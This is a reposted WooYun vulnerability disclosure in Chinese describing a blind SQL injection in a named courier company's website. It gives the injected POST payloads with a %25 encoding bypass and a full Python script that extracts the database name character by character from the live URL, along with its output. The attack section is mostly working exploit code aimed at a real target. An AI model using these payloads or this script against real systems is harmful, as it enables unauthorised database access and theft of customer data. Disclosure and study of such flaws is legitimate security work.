快捷快递某处存在SQL注入造成信息泄露

admin 2017年4月21日22:16:31评论305 views字数 210阅读0分42秒阅读模式
摘要

2016-03-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-04-15: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2016-179818

漏洞标题: 快捷快递某处存在SQL注入造成信息泄露

相关厂商: 快捷快递

漏洞作者: Aklis

提交时间: 2016-03-01 15:39

公开时间: 2016-04-15 15:39

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 5

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2016-03-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-04-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

快递好慢 打卡

详细说明:

一开始加个%就能列出所有信息 感觉存在注入 经测试发现%25编码可以绕过

POST数据:

pid=1&cid=520&address=2%25' AND length(VERSION())>1 AND '%25'=' 为真

pid=1&cid=520&address=2%25' AND length(VERSION())>20 AND '%25'=' 为假

然后开始上脚本。。。

能够拿到库名 用户名kjkd 不支持子查询

漏洞证明:

code 区域
#!/usr/bin/env python2
#coding: utf-8

import urllib
import urllib2
import string

# pool = string.printable
# pool = pool.replace("'","")
# pool = pool.replace("//","")

pool = string.ascii_letters + "-.@_" + string.digits

# get baseline
data = {}

data['pid'] = '1'
data['cid'] = '520'
data['address'] = "2%25' AND length(VERSION())>20 AND '%25'='"

data = urllib.urlencode(data)
url = "http://www.kjkd.com/address/getwdinfo.jsp"

req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
baselineLenght = len(the_page)
print '[*] baseline legth:', baselineLenght

'''
# get mysql version length
versionLegth = -1
for i in range(50):
data = "pid=1&cid=520&address="
data += "2%25' AND length(VERSION())>" + str(i) + " AND '%25'='"
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
respLength = len(response.read())
if respLength == baselineLenght:
print "[*] version length:", i
versionLegth = i
break

# get mysql version
databaseVersion = ""
for i in range(versionLegth+1):
for x in pool:
data = "pid=1&cid=520&address="
data += "2%25' AND mid(version()," + str(i) + ",1)='" + x + "' AND '%25'='"
#print data
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
respLength = len(response.read())
if respLength != baselineLenght:
databaseVersion += x
print databaseVersion
break
print "[*] version:", databaseVersion
'''

# get current db length
curDatabaseLength = -1
for i in range(50):
data = "pid=1&cid=520&address="
data += "2%25' AND length(DATABASE())>" + str(i) + " AND '%25'='"
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
respLength = len(response.read())
if respLength == baselineLenght:
print "[*] current database name length:", i
curDatabaseLength = i
break

# get current database name
curDatabaseName = ""
for i in range(curDatabaseLength+1):
for x in pool:
data = "pid=1&cid=520&address="
data += "2%25' AND mid(database()," + str(i) + ",1)='" + x + "' AND '%25'='"
#print data
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
respLength = len(response.read())
if respLength != baselineLenght:
curDatabaseName += x
print curDatabaseName
break
print "[*] current database name:", curDatabaseName

结果

code 区域
[*] baseline legth: 2
[*] current database name length: 4
k
kj
kjk
kjkd
[*] current database name: kjkd

修复方案:

过滤

版权声明:转载请注明来源 Aklis@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin